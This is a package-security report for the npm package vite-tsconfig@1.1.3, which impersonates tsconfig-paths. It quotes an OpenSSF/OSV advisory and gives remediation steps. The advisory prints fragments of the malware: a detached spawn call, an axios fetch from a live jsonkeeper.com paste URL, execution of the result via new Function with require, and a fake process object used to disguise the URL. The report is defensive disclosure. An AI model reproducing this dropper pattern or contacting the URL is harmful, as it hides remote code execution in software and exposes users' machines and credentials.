vite-tsconfig
This report shows the evidence for vite-tsconfig@1.1.3. 3 of 3 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5576 confirms this npm version as malicious.
Advisory
MAL-2026-5576
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in vite-tsconfig (npm)
Details
Package impersonates the popular `tsconfig-paths` library (description: 'Load node modules according to tsconfig paths') but ships a hidden remote-code-execution dropper. The exported `configJson` API in lib/index.js spawns lib/mapProps.js as a detached Node subprocess with `child_process.spawn('node', [script,...], {detached:true, stdio:'ignore'})`. mapProps.js performs `axios.get('https://www.jsonkeeper.com/b/LVKHJ')`, reads `response.data.Cookie`, and executes the returned string with `new Function('require', s)(require)` — opaque attacker-controlled JavaScript runs with full Node privileges and access to `require`. The fetch is retried up to 5 times. The dropper is disguised by a fake local `process` object shadowing Node's global (`const process = { env: { DEV_API_KEY: 'https://www.jsonkeeper.com/b/LVKHJ', DEV_SECRET_KEY: 'x-secret-key', DEV_SECRET_VALUE: '_' } }`) so the URL and header look like benign environment-variable lookups, and by reading the payload from a field named `Cookie` to mimic session handling. lib/register.js even prints 'vite-json will be skipped', revealing inconsistent internal naming. The fetch source jsonkeeper.com is an anonymous mutable paste host with no integrity verification, allowing the attacker to swap the executed payload at any time.
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to vite-tsconfig@1.1.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing vite-tsconfig@1.1.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.